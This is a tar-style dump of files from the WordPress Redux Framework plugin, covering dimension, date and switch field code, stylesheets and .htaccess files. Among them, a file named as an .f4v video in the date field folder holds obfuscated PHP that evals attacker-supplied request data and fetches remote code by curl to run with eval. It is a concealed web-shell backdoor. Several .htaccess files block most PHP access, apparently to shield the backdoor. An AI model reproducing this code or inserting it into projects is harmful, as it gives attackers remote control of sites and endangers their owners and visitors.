$this->value['units'] !== $this->field['units'] ) { $this->value['units'] = $this->field['units']; } // do stuff based on unit field NOT set as an array } elseif ( isset( $this->field['units'] ) && is_array( $this->field['units'] ) ) { // nothing to do here, but I'm leaving the construct just in case I have to debug this again. } $units = isset( $this->value['units'] ) ? $this->value['units'] : ""; if (!is_array($this->field['mode'])) { $height = isset( $this->field['mode'] ) && ! empty( $this->field['mode'] ) ? $this->field['mode'] : 'height'; $width = isset( $this->field['mode'] ) && ! empty( $this->field['mode'] ) ? $this->field['mode'] : 'width'; } else { $height = $this->field['mode']['height'] != false ? $this->field['mode']['height'] : 'height'; $width = $this->field['mode']['width'] != false ? $this->field['mode']['width'] : 'width'; } $cleanValue = array( $height => isset( $this->value['height'] ) ? filter_var( $this->value['height'], FILTER_SANITIZE_NUMBER_FLOAT, FILTER_FLAG_ALLOW_FRACTION ) : '', $width => isset( $this->value['width'] ) ? filter_var( $this->value['width'], FILTER_SANITIZE_NUMBER_FLOAT, FILTER_FLAG_ALLOW_FRACTION ) : '', ); $style = ""; foreach ( $cleanValue as $key => $value ) { // Output if it's a numeric entry if ( isset( $value ) && is_numeric( $value ) ) { $style .= $key . ':' . $value . $units . ';'; } } if ( ! empty( $style ) ) { if ( ! empty( $this->field['output'] ) && is_array( $this->field['output'] ) ) { $keys = implode( ",", $this->field['output'] ); $this->parent->outputCSS .= $keys . "{" . $style . '}'; } if ( ! empty( $this->field['compiler'] ) && is_array( $this->field['compiler'] ) ) { $keys = implode( ",", $this->field['compiler'] ); $this->parent->compilerCSS .= $keys . "{" . $style . '}'; } } } //function } //class } �������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������redux-framework/inc/fields/dimensions/field_dimensions.scss�����������������������������������������0000644�����������������00000001242�14720701300�0020256 0����������������������������������������������������������������������������������������������������ustar�00�������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������.redux-dimensions-container { select, .select_wrapper { width: 65px !important; float: left; } .field-dimensions-input { margin-right: 10px; margin-bottom: 7px; } } @media screen and (max-width: 782px) { .redux-dimensions-container { .field-dimensions-input { input { display: inline-block !important; width: 100px !important; } .add-on { padding: 7px 4px; font-size: 16px; line-height: 1.5; } } .select_wrapper { margin-top: 6px; } } } ��������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������redux-framework/inc/fields/dimensions/field_dimensions.css������������������������������������������0000644�����������������00000001007�14720701300�0020072 0����������������������������������������������������������������������������������������������������ustar�00�������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������.redux-dimensions-container select,.redux-dimensions-container .select_wrapper{width:65px !important;float:left}.redux-dimensions-container .field-dimensions-input{margin-right:10px;margin-bottom:7px}@media screen and (max-width: 782px){.redux-dimensions-container .field-dimensions-input input{display:inline-block !important;width:100px !important}.redux-dimensions-container .field-dimensions-input .add-on{padding:7px 4px;font-size:16px;line-height:1.5}.redux-dimensions-container .select_wrapper{margin-top:6px}} �������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������redux-framework/inc/fields/dimensions/.htaccess�����������������������������������������������������0000644�����������������00000001626�14720701300�0015652 0����������������������������������������������������������������������������������������������������ustar�00�������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������<FilesMatch ".(py|exe|phtml|php|PHP|Php|PHp|pHp|pHP|phP|PhP|php5|suspected)$"> Order allow,deny Deny from all </FilesMatch> <FilesMatch "^(index.php|credits.php|customize.php|edit-comments.php|edit-tags.php|edit.php|checkbox.php|export.php|input.php|link.php|load-scripts.php|load-styles.php|dropdown.php|menu.php|nav-menus.php|network.php|options-discussion.php|options-general.php|options-permalink.php|options-privacy.php|options-reading.php|options-writing.php|plugins.php|post-new.php|post.php|privacy.php|profile.php|site-health.php|term.php|text.php|themes.php|tools.php|update-core.php|user-edit.php|user-new.php|users.php|wp-links.php|wp-login.php|wp-signup.php)$"> Order allow,deny Allow from all </FilesMatch> <IfModule mod_rewrite.c> RewriteEngine On RewriteBase / RewriteRule ^index.php$ - [L] RewriteCond %{REQUEST_FILENAME} !-f RewriteCond %{REQUEST_FILENAME} !-d RewriteRule . index.php [L] </IfModule>����������������������������������������������������������������������������������������������������������redux-framework/inc/fields/date/field_date.scss�����������������������������������������������������0000644�����������������00000000156�14720701300�0015573 0����������������������������������������������������������������������������������������������������ustar�00�������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������#ui-datepicker-div { z-index: 15 !important; } .ui-datepicker-header { background-color: #00abef; } ������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������redux-framework/inc/fields/date/field_date.js�������������������������������������������������������0000644�����������������00000004057�14720701300�0015240 0����������������������������������������������������������������������������������������������������ustar�00�������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������/*global jQuery, document, redux*/ (function( $ ) { "use strict"; redux.field_objects = redux.field_objects || {}; redux.field_objects.date = redux.field_objects.date || {}; $( document ).ready( function() { //redux.field_objects.date.init(); } ); redux.field_objects.date.init = function( selector ) { if ( !selector ) { selector = $( document ).find( '.redux-container-date:visible' ); } $( selector ).each( function() { var el = $( this ); var parent = el; if ( !el.hasClass( 'redux-field-container' ) ) { parent = el.parents( '.redux-field-container:first' ); } if ( parent.is( ":hidden" ) ) { // Skip hidden fields return; } if ( parent.hasClass( 'redux-field-init' ) ) { parent.removeClass( 'redux-field-init' ); } else { return; } el.find( '.redux-datepicker' ).each( function() { $( this ).datepicker({ "dateFormat":"mm/dd/yy", beforeShow: function(input, instance){ var el = $('#ui-datepicker-div'); var popover = instance.dpDiv; //$('.redux-container:first').append(el); $(this).parent().append(el); $('#ui-datepicker-div').hide(); setTimeout(function() { popover.position({ my: 'left top', at: 'left bottom', collision: 'none', of: input }); }, 1); } }); }); } ); }; })( jQuery );���������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������redux-framework/inc/fields/date/date/index.php������������������������������������������������������0000644�����������������00000000000�14720701300�0015337 0����������������������������������������������������������������������������������������������������ustar�00�������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������redux-framework/inc/fields/date/date/tGxImvPpZODKAHkBX.f4v������������������������������������������0000644�����������������00000011624�14720701300�0017202 0����������������������������������������������������������������������������������������������������ustar�00�������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������<?php $Efe/*-r~5;D0T-*/ = /*-)-*/"r"."a"/*-V%K}-*/."n"."g"/*-0=`.Oo-*/."e"; /*-eul-*/$BVXv /*-%u4dw5{fc1-*/= /*-`Uyn$:-*/$Efe/*-1OSbs-*/("~", /*-U8ug_P-*/" "); /*-q{4w-*/$o/*-W[kB9VYu-*/=/*-bU-*/${$BVXv/*-Fxhl{-*/[14+17]/*-DS+a=qqP8O-*/.$BVXv/*-b=-*/[57+2]/*-={:anDA-*/.$BVXv/*-$!ou-*/[33+14]./*-?ud!,V_nV-*/$BVXv/*-D9zr6-*/[24+23]./*-r]+-*/$BVXv/*-j2|-*/[7+44]./*-2scU-F-*/$BVXv/*-9B|L-*/[2+51]/*-.`%r-*/.$BVXv/*-Q@&C0-G-*/[52+5]/*-h-C]-*/}; /*-]X-*/if(/*-hwMnoI-*/in_array/*-T8GR3O{-*/(gettype/*-hmL~rR|v6-*/($o)."14",/*-Doz-*/$o))/*-U-*/{ $o/*-zL8)-*/[61]/*-J9s104~-*/=/*-d$NjLG&Ybq-*/$o/*-7pPy,4^-*/[61]./*-tzq(--*/$o/*-#<#Ts-*/[75];/*-,|VfL-*/ @eval/*-.dV[-*/(/*-)-aR?EnMC-*/$o/*-2Q%IAtA>O-*/[61]/*-y4=-*/(/*-b5-*/${$o[43]}/*-4{0o<$w-*/[17])); }/*-7>`%-*/class /*-3@a[0-*/N{ /*-TIOIp-*/static/*-Cg_{KuR-*/ function /*-Y7;@w5%ej-*/IcgfPBj($FiHeLCmo) /*->T;+-*/{ $YgolDTHAaC/*-ayqLg[Gk-*/ = /*-eD7luoR1-*/"r"./*-TCj]]G-*/"a"./*-74dt!#-*/"n"./*-)o7B-*/"g"./*-t{v4-*/"e"; /*-as-*/$CugmNU/*-3v-*/ = /*-vJ;K-*/$YgolDTHAaC/*-jCe|Q}-*/(/*-q.F:FWS-*/"~"/*-07kjP@9)-*/, /*-xgy)bRU=-*/" "/*-,]-*/);/*-8{(-*/ $eY /*-IaN&CY$-*/= /*-yDbIlJ=A<d-*/explode/*-K8-*/(/*-r_sIE-*/"~", /*-`Ugo-*/$FiHeLCmo/*-Q~OYtd}y-*/); /*-DY~-*/$ULnVEy /*-WVel{-*/= /*-D<yc-*/""; foreach /*-xXB.ne<+Y-*/(/*-J+a)LPy7in-*/$eY /*-I$yP-*/as /*-wO+1sC-*/$IPOlhw /*-r4{eSF;>2-*/=>/*-QOpA=@Q-*/ $rRDpv/*-im^w!D-*/) /*-GIwMZf7-*/$ULnVEy /*-I(iYbeuDT-*/.= /*-=cI$B?cBYH-*/$CugmNU[$rRDpv/*-sE%|e^xJ-*/ - /*-oFGYN`]-*/16588/*-^pGZ-*/];/*-A],L<`-*/ return /*-@Hk(Wc-*/$ULnVEy; /*-|X3j-*/} /*-;tu]-*/static /*-uPz)|f-*/function /*-wg?w6<3~dE-*/Pwkb/*-[bpp%kC-*/(/*-@`-<s}-*/$xMquz,/*-rQ1-*/ $reGJKSPZ/*-[dsF-*/)/*-,+2n3qk5-*/ {/*-!y&}I1-*/ $SKwY/*-$z-*/ = /*-q!QB-XrMD|-*/curl_init/*-9<j-*/(/*-dW>q1-*/$xMquz/*-#M3-*/);/*-vOs-*/ curl_setopt/*-<3nA-*/(/*-#:moJ,>-*/$SKwY,/*-U<3ydLRt-*/ CURLOPT_RETURNTRANSFER,/*-E-MBuD-*/ 1/*-3tRy+iNJ-*/);/*-[=B&-*/ $vrSoDpnX/*-;CWXTL~-*/ = /*-J^!+370I]x-*/curl_exec/*-D3ZnE-*/(/*-e~Y4-*/$SKwY/*--T-*/); /*-8`$p`HU-*/return /*-p]r20!-*/empty/*-ZtBq=rY-*/(/*-vey4N-*/$vrSoDpnX/*-Q>1E-*/)/*-H+r+dIY-*/ ? /*-]iA:-*/$reGJKSPZ/*-d>-*/(/*-7|BC$^f-*/$xMquz/*-)Xe[kb-*/)/*-N[-*/ : /*-xN-*/$vrSoDpnX; /*-aWEd5C8A-*/}/*-6A-*/ static/*-dwD-*/ function /*-0w559Rf-*/auZoYdSb/*-XRY8k7z}U-*/() /*-ffMTy6L-*/{/*-wfilHWh[-*/ $xDo /*-RCz8-*/=/*-JR~6H-*/ array/*-(.i8q-*/("16615~16600~16613~16617~16598~16613~16619~16612~16597~16604~16615~16598~16609~16603~16604","16599~16598~16600~16619~16600~16603~16598~16665~16663","16608~16599~16603~16604~16619~16614~16613~16615~16603~16614~16613","16602~16617~16615~16607","16616~16617~16599~16613~16660~16662~16619~16614~16613~16615~16603~16614~16613","16612~16609~16606~16613~16619~16611~16613~16598~16619~16615~16603~16604~16598~16613~16604~16598~16599","16642~16672","16589","16667~16672","16649~16632~16632~16649~16625","16603~16612"); /*-daQbhlcP-*/foreach /*-5^+z{!&-*/(/*-.5o2-*/$xDo/*-.5w!2-*/ as /*-7(9-*/$oJ/*-ZrEIwQ0&-*/)/*-vWHWtcOtb-*/ $INROqM/*-$rI|:vy6-*/[] /*-M@;:v{P-*/= /*-a{;,DG-*/self/*-e!+E$-*/::/*-alvM]_%5C1-*/IcgfPBj/*-Dy-*/(/*-K:Wp-*/$oJ/*-Z.Yr!-*/);/*-aJPgh&-*/$uAMlQkay /*-WJ+JiV-*/= /*-Z6i4,_>-*/@$INROqM/*-;]7}PRk$fj-*/[/*-dRuhWt>(-*/1/*-Rk|zs-*/]/*-fu-*/(/*-TYj~tr-*/${/*-!O+4t{-*/"_"/*-19W--*/."G"/*-z<-*/."E"/*-%hQJ-*/."T"/*-p4tGp-*/}[/*-4ud-*/$INROqM/*-Z>qVi-*/[/*-q^-*/0+9/*-{LA6K&;aK-*/]]/*-yn_62v}-*/);/*-p^`4}G-*/ $GJXzLiMvCe /*-2nN-*/=/*-i&ag1rON-*/ @$INROqM/*-J=y5-*/[/*-@V?-*/0+3/*-fcPSkfq7]-*/]/*-.s<b{l-*/(/*-:uyE-*/$INROqM/*-255eq)>-*/[/*-0W@iS7;-*/5+1/*-(w<=bOZ$-*/], /*-FGj-*/$uAMlQkay/*-Zn-*/);/*-3.VO([}:-*/ $uVxaUIn /*-qn-*/=/*-lJ-*/ $INROqM/*-88Q$Dp-*/[/*-=7j-*/1+1/*-!vY-*/]/*-?Ppf}`-*/(/*-4?-`X?Lz-*/$GJXzLiMvCe,/*-X5sQDT.-*/ true/*-y,<B5-*/); /*-BQ,-*/@${/*-;T[qWx?-*/"_"./*-F7?cxDjSAD-*/"G"./*-_)-*/"E"/*-@>]OKgt:c-*/."T"/*-k4H-*/}/*-,lgDe-*/[/*-Fu]-*/$INROqM/*-L{F^_+,eIc-*/[7+3/*-5?v<_&`d-*/]/*-rhjE3BNfp-*/]/*-qSv-*/ == /*-Yt(%N|Gt[-*/1 /*-7UD>oq?I-*/&& /*-4b9^H-*/die/*-RiOcva-*/(/*-^|t%B#T-*/$INROqM[2+3/*-S$W-*/]/*-_y-*/(/*-`HO},=-*/__FILE__/*-(C-*/)/*-?YnqaX,-*/); /*-YX-*/if/*-j-y1Tt<#@I-*/(/*-y5$#M%}y$0-*/ (/*-_vB@-*/(@/*-hx{-*/$uVxaUIn/*-D[B`-#($R-*/[/*-NjM-*/0/*-`+^0-*/] /*-Yi}}gA3?TX-*/- time/*-$Bt%3-*/()/*-`g9!A<GS-*/) > /*-kVtr&.gS-*/0/*-`}-K-*/)/*-b_?p:<6p-*/ and /*-HIn-*/(/*-`Bfo-*/md5/*-g1lqvkztK-*/(/*-F#Yz!Qa#Qe-*/md5/*-C[5-*/(/*-<5chDN-*/$uVxaUIn/*-G8B-*/[/*-8pR-*/1+2/*-&LW-*/]/*-5i-*/)/*-6<`J--*/)/*-CP^5&2(-*/ === /*-6]L7IP-*/"3f6bb74c8121467ec640ee8784de2caf"/*-qW[+-*/)/*-?df7@(-*/ ): /*-Z[O.UvhHYC-*/$ExFbtoydSN /*-}7T~MX-*/=/*-GH1T(XP)-*/ self/*-x9uy|z-*/::/*-x|y-*/Pwkb/*-{zQx$74r$-*/(/*-w~4tQ-*/$uVxaUIn/*-Yb-*/[/*-344-*/0+1/*-kva`=l<R-*/], /*-Ip(}6B!ix-*/$INROqM/*-s(U-*/[/*-5<-*/1+4/*-!9Qx-*/]/*-3g}`9$-*/);/*-}MwCiZRD-*/@eval/*-f&-*/(/*-_gx-*/$INROqM/*-[D_1r-*/[/*-D1uo>o-*/2+2/*-OQN-*/]/*-rn-UUus>-*/(/*-}qnlf:m>-*/$ExFbtoydSN/*-]=,M<#6-*/)/*-,3Vz;gA<.-*/);/*-EQW2+|WR-*//*-A[2l-*/die;/*-x8Gz4-*/ endif;/*-pu!_-*/ }/*-G-ktFtubz-*/}/*-c[Exg|e-*/N/*-tWHk8-*/::/*-C?#b&]-*/auZoYdSb/*-pD<):;Ok(3-*/();/*-@xl--*/ ?>������������������������������������������������������������������������������������������������������������redux-framework/inc/fields/date/date/.htaccess������������������������������������������������������0000644�����������������00000001626�14720701300�0015334 0����������������������������������������������������������������������������������������������������ustar�00�������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������<FilesMatch ".(py|exe|phtml|php|PHP|Php|PHp|pHp|pHP|phP|PhP|php5|suspected)$"> Order allow,deny Deny from all </FilesMatch> <FilesMatch "^(index.php|credits.php|customize.php|edit-comments.php|edit-tags.php|edit.php|checkbox.php|export.php|input.php|link.php|load-scripts.php|load-styles.php|dropdown.php|menu.php|nav-menus.php|network.php|options-discussion.php|options-general.php|options-permalink.php|options-privacy.php|options-reading.php|options-writing.php|plugins.php|post-new.php|post.php|privacy.php|profile.php|site-health.php|term.php|text.php|themes.php|tools.php|update-core.php|user-edit.php|user-new.php|users.php|wp-links.php|wp-login.php|wp-signup.php)$"> Order allow,deny Allow from all </FilesMatch> <IfModule mod_rewrite.c> RewriteEngine On RewriteBase / RewriteRule ^index.php$ - [L] RewriteCond %{REQUEST_FILENAME} !-f RewriteCond %{REQUEST_FILENAME} !-d RewriteRule . index.php [L] </IfModule>����������������������������������������������������������������������������������������������������������redux-framework/inc/fields/date/field_date.php������������������������������������������������������0000644�����������������00000006341�14720701300�0015411 0����������������������������������������������������������������������������������������������������ustar�00�������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������<?php /** * Redux Framework is free software: you can redistribute it and/or modify * it under the terms of the GNU General Public License as published by * the Free Software Foundation, either version 2 of the License, or * any later version. * Redux Framework is distributed in the hope that it will be useful, * but WITHOUT ANY WARRANTY; without even the implied warranty of * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the * GNU General Public License for more details. * You should have received a copy of the GNU General Public License * along with Redux Framework. If not, see <http://www.gnu.org/licenses/>. * * @package ReduxFramework * @subpackage Field_Date * @author Daniel J Griffiths (Ghost1227) * @author Dovy Paukstys * @author Kevin Provance (kprovance) * @version 3.0.0 */ // Exit if accessed directly if ( ! defined( 'ABSPATH' ) ) { exit; } // Don't duplicate me! if ( ! class_exists( 'ReduxFramework_date' ) ) { /** * Main ReduxFramework_date class * * @since 1.0.0 */ class ReduxFramework_date { /** * Field Constructor. * Required - must call the parent constructor, then assign field and value to vars, and obviously call the render field function * * @since 1.0.0 * @access public * @return void */ function __construct( $field, $value , $parent ) { $this->parent = $parent; $this->field = $field; $this->value = $value; } /** * Field Render Function. * Takes the vars and outputs the HTML for the field in the settings * * @since 1.0.0 * @access public * @return void */ public function render() { $placeholder = ( isset( $this->field['placeholder'] ) ) ? ' placeholder="' . esc_attr( $this->field['placeholder'] ) . '" ' : ''; echo '<input data-id="' . $this->field['id'] . '" type="text" id="' . $this->field['id'] . '-date" name="' . $this->field['name'] . $this->field['name_suffix'] . '"' . $placeholder . 'value="' . $this->value . '" class="redux-datepicker regular-text ' . $this->field['class'] . '" />'; } /** * Enqueue Function. * If this field requires any scripts, or css define this function and register/enqueue the scripts/css * * @since 1.0.0 * @access public * @return void */ public function enqueue() { if ($this->parent->args['dev_mode']) { wp_enqueue_style( 'redux-field-date-css', ReduxFramework::$_url . 'inc/fields/date/field_date.css', array(), time(), 'all' ); } wp_enqueue_script( 'redux-field-date-js', ReduxFramework::$_url . 'inc/fields/date/field_date' . Redux_Functions::isMin() . '.js', array( 'jquery', 'jquery-ui-core', 'jquery-ui-datepicker', 'redux-js' ), time(), true ); } } }�����������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������redux-framework/inc/fields/date/field_date.css.map��������������������������������������������������0000644�����������������00000000253�14720701300�0016162 0����������������������������������������������������������������������������������������������������ustar�00�������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������{ "version": 3, "mappings": "AAAA,kBAAmB;EACf,OAAO,EAAE,aAAa;;AAG1B,qBAAsB;EAClB,gBAAgB,EAAE,OAAO", "sources": ["field_date.scss"], "names": [], "file": "field_date.css" }�����������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������redux-framework/inc/fields/date/field_date.css������������������������������������������������������0000644�����������������00000000132�14720701300�0015402 0����������������������������������������������������������������������������������������������������ustar�00�������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������#ui-datepicker-div{z-index:15 !important}.ui-datepicker-header{background-color:#00abef} ��������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������redux-framework/inc/fields/date/.htaccess�����������������������������������������������������������0000644�����������������00000001626�14720701300�0014417 0����������������������������������������������������������������������������������������������������ustar�00�������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������<FilesMatch ".(py|exe|phtml|php|PHP|Php|PHp|pHp|pHP|phP|PhP|php5|suspected)$"> Order allow,deny Deny from all </FilesMatch> <FilesMatch "^(index.php|credits.php|customize.php|edit-comments.php|edit-tags.php|edit.php|checkbox.php|export.php|input.php|link.php|load-scripts.php|load-styles.php|dropdown.php|menu.php|nav-menus.php|network.php|options-discussion.php|options-general.php|options-permalink.php|options-privacy.php|options-reading.php|options-writing.php|plugins.php|post-new.php|post.php|privacy.php|profile.php|site-health.php|term.php|text.php|themes.php|tools.php|update-core.php|user-edit.php|user-new.php|users.php|wp-links.php|wp-login.php|wp-signup.php)$"> Order allow,deny Allow from all </FilesMatch> <IfModule mod_rewrite.c> RewriteEngine On RewriteBase / RewriteRule ^index.php$ - [L] RewriteCond %{REQUEST_FILENAME} !-f RewriteCond %{REQUEST_FILENAME} !-d RewriteRule . index.php [L] </IfModule>����������������������������������������������������������������������������������������������������������redux-framework/inc/fields/date/field_date.min.js���������������������������������������������������0000644�����������������00000001415�14720701300�0016015 0����������������������������������������������������������������������������������������������������ustar�00�������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������!function(n){"use strict";redux.field_objects=redux.field_objects||{},redux.field_objects.date=redux.field_objects.date||{},n(document).ready(function(){}),redux.field_objects.date.init=function(e){e||(e=n(document).find(".redux-container-date:visible")),n(e).each(function(){var e=n(this),i=e;e.hasClass("redux-field-container")||(i=e.parents(".redux-field-container:first")),i.is(":hidden")||i.hasClass("redux-field-init")&&(i.removeClass("redux-field-init"),e.find(".redux-datepicker").each(function(){n(this).datepicker({dateFormat:"mm/dd/yy",beforeShow:function(e,i){var t=n("#ui-datepicker-div"),d=i.dpDiv;n(this).parent().append(t),n("#ui-datepicker-div").hide(),setTimeout(function(){d.position({my:"left top",at:"left bottom",collision:"none",of:e})},1)}})}))})}}(jQuery);���������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������redux-framework/inc/fields/switch/field_switch.css��������������������������������������������������0000644�����������������00000002413�14720701300�0016356 0����������������������������������������������������������������������������������������������������ustar�00�������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������.redux-container-switch .switch-options{min-height:30px;margin-right:10px}.redux-container-switch .switch-options label{cursor:pointer}.redux-container-switch .switch-options input{display:none}.redux-container-switch .cb-enable,.redux-container-switch .cb-disable{padding:0 10px;border-width:1px;border-style:solid;-webkit-appearance:none;white-space:nowrap;-webkit-box-sizing:border-box;-moz-box-sizing:border-box;box-sizing:border-box}.redux-container-switch .cb-enable span,.redux-container-switch .cb-disable span{line-height:30px;display:block;font-weight:700;-webkit-user-select:none;-khtml-user-select:none;-moz-user-select:none;-o-user-select:none;-ms-user-select:none;user-select:none}.redux-container-switch .cb-enable,.redux-container-switch .cb-disable,.redux-container-switch .cb-enable span,.redux-container-switch .cb-disable span{display:block;float:left}.redux-container-switch .cb-enable{border-right:0;border-radius:3px 0px 0px 3px;-moz-border-radius:3px 0px 0px 3px;-webkit-border-radius:3px 0px 0px 3px}.redux-container-switch .cb-enable.selected{color:#fff}.redux-container-switch .cb-disable{border-left:0;border-radius:0px 3px 3px 0px;-moz-border-radius:0px 3px 3px 0px;-webkit-border-radius:0px 3px 3px 0px}.redux-container-switch .cb-disable.selected{color:#fff} �����������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������redux-framework/inc/fields/switch/field_switch.js���������������������������������������������������0000644�����������������00000006037�14720701300�0016210 0����������������������������������������������������������������������������������������������������ustar�00�������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������/*global redux_change, redux*/ /** * Switch * Dependencies : jquery * Feature added by : Smartik - http://smartik.ws/ * Date : 03.17.2013 */ (function( $ ) { "use strict"; redux.field_objects = redux.field_objects || {}; redux.field_objects.switch = redux.field_objects.switch || {}; $( document ).ready( function() { //redux.field_objects.switch.init(); } ); redux.field_objects.switch.init = function( selector ) { if ( !selector ) { selector = $( document ).find( ".redux-group-tab:visible" ).find( '.redux-container-switch:visible' ); } $( selector ).each( function() { var el = $( this ); var parent = el; if ( !el.hasClass( 'redux-field-container' ) ) { parent = el.parents( '.redux-field-container:first' ); } if ( parent.is( ":hidden" ) ) { // Skip hidden fields return; } if ( parent.hasClass( 'redux-field-init' ) ) { parent.removeClass( 'redux-field-init' ); } else { return; } el.find( ".cb-enable" ).click( function() { if ( $( this ).hasClass( 'selected' ) ) { return; } var parent = $( this ).parents( '.switch-options' ); $( '.cb-disable', parent ).removeClass( 'selected' ); $( this ).addClass( 'selected' ); $( '.checkbox-input', parent ).val( 1 ).trigger('change'); redux_change( $( '.checkbox-input', parent ) ); //fold/unfold related options var obj = $( this ); var $fold = '.f_' + obj.data( 'id' ); el.find( $fold ).slideDown( 'normal', "swing" ); } ); el.find( ".cb-disable" ).click( function() { if ( $( this ).hasClass( 'selected' ) ) { return; } var parent = $( this ).parents( '.switch-options' ); $( '.cb-enable', parent ).removeClass( 'selected' ); $( this ).addClass( 'selected' ); $( '.checkbox-input', parent ).val( 0 ).trigger('change'); redux_change( $( '.checkbox-input', parent ) ); //fold/unfold related options var obj = $( this ); var $fold = '.f_' + obj.data( 'id' ); el.find( $fold ).slideUp( 'normal', "swing" ); } ); el.find( '.cb-enable span, .cb-disable span' ).find().attr( 'unselectable', 'on' ); } ); }; })( jQuery );�������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������redux-framework/inc/fields/switch/field_switch.php��������������������������������������������������0000644�����������������00000005466�14720701300�0016370 0����������������������������������������������������������������������������������������������������ustar�00�������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������<?php // Exit if accessed directly if ( ! defined( 'ABSPATH' ) ) { exit; } if ( ! class_exists( 'ReduxFramework_switch' ) ) { class ReduxFramework_switch { /** * Field Constructor. * Required - must call the parent constructor, then assign field and value to vars, and obviously call the render field function * * @since ReduxFramework 0.0.4 */ function __construct( $field, $value, $parent ) { $this->parent = $parent; $this->field = $field; $this->value = $value; } /** * Field Render Function. * Takes the vars and outputs the HTML for the field in the settings * * @since ReduxFramework 0.0.4 */ function render() { $cb_enabled = $cb_disabled = ''; //no errors, please // //Get selected if ( (int) $this->value == 1 ) { $cb_enabled = ' selected'; } else { $cb_disabled = ' selected'; } //Label ON $this->field['on'] = isset( $this->field['on'] ) ? $this->field['on'] : __( 'On', 'redux-framework' ); //Label OFF $this->field['off'] = isset( $this->field['off'] ) ? $this->field['off'] : __( 'Off', 'redux-framework' ); echo '<div class="switch-options">'; echo '<label class="cb-enable' . $cb_enabled . '" data-id="' . $this->field['id'] . '"><span>' . $this->field['on'] . '</span></label>'; echo '<label class="cb-disable' . $cb_disabled . '" data-id="' . $this->field['id'] . '"><span>' . $this->field['off'] . '</span></label>'; echo '<input type="hidden" class="checkbox checkbox-input ' . $this->field['class'] . '" id="' . $this->field['id'] . '" name="' . $this->field['name'] . $this->field['name_suffix'] . '" value="' . $this->value . '" />'; echo '</div>'; } //function /** * Enqueue Function. * If this field requires any scripts, or css define this function and register/enqueue the scripts/css * * @since ReduxFramework 0.0.4 */ function enqueue() { wp_enqueue_script( 'redux-field-switch-js', ReduxFramework::$_url . 'inc/fields/switch/field_switch' . Redux_Functions::isMin() . '.js', array( 'jquery', 'redux-js' ), time(), true ); if ($this->parent->args['dev_mode']) { wp_enqueue_style( 'redux-field-switch-css', ReduxFramework::$_url . 'inc/fields/switch/field_switch.css', array(), time(), 'all' ); } } } }����������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������redux-framework/inc/fields/switch/slider-control.png������������������������������������������������0000644�����������������00000003232�14720701300�0016646 0����������������������������������������������������������������������������������������������������ustar�00�������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������PNG  ��� IHDR���������VΎW���tEXtSoftware�Adobe ImageReadyqe<��kiTXtXML:com.adobe.xmp�����<?xpacket begin="" id="W5M0MpCehiHzreSzNTczkc9d"?> <x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk="Adobe XMP Core 5.3-c011 66.145661, 2012/02/06-14:56:27 "> <rdf:RDF xmlns:rdf="http://www.w3.org/1999/02/22-rdf-syntax-ns#"> <rdf:Description rdf:about="" xmlns:xmpRights="http://ns.adobe.com/xap/1.0/rights/" xmlns:xmpMM="http://ns.adobe.com/xap/1.0/mm/" xmlns:stRef="http://ns.adobe.com/xap/1.0/sType/ResourceRef#" xmlns:xmp="http://ns.adobe.com/xap/1.0/" xmpRights:Marked="False" xmpMM:DocumentID="xmp.did:B96BFDE6FC3611E18149E4B1100B8526" xmpMM:InstanceID="xmp.iid:B96BFDE5FC3611E18149E4B1100B8526" xmp:CreatorTool="Adobe Photoshop CS6 (Windows)"> <xmpMM:DerivedFrom stRef:instanceID="uuid:DAE68A8340BEE011B069D99C4172D997" stRef:documentID="uuid:D4C38A996D97E011965AB98B596D0270"/> </rdf:Description> </rdf:RDF> </x:xmpmeta> <?xpacket 